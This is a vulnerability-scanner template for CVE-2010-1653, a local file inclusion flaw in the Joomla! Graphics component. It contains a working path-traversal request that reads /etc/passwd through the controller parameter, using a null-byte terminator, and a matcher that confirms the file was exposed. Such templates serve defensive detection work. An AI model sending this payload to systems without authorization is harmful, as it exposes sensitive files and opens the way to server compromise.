id: CVE-2010-1653

info:
  name: Joomla! Component Graphics 1.0.6 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in graphics.php in the Graphics (com_graphics) component 1.0.6 and 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the entire Joomla! installation.
  remediation: |
    Update Joomla! Component Graphics to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12430
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1653
    - http://packetstormsecurity.org/1004-exploits/joomlagraphics-lfi.txt
    - http://www.vupen.com/english/advisories/2010/1004
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1653
    cwe-id: CWE-22
    epss-score: 0.13373
    epss-percentile: 0.95927
    cpe: cpe:2.3:a:htmlcoderhelper:com_graphics:1.0.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: htmlcoderhelper
    product: com_graphics
  tags: cve,cve2010,edb,packetstorm,joomla,lfi,htmlcoderhelper,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022041e6ed2deff9d15836416e729b7b63e70603e7a4ad13d9b3dfdf0bec8d65b8eb022100e41f616755c8cec7d36a0f4bc308ea047ac6cf25802a871eb2e12ffa16b6bb8f:922c64590222798bb761d5b6d8e72950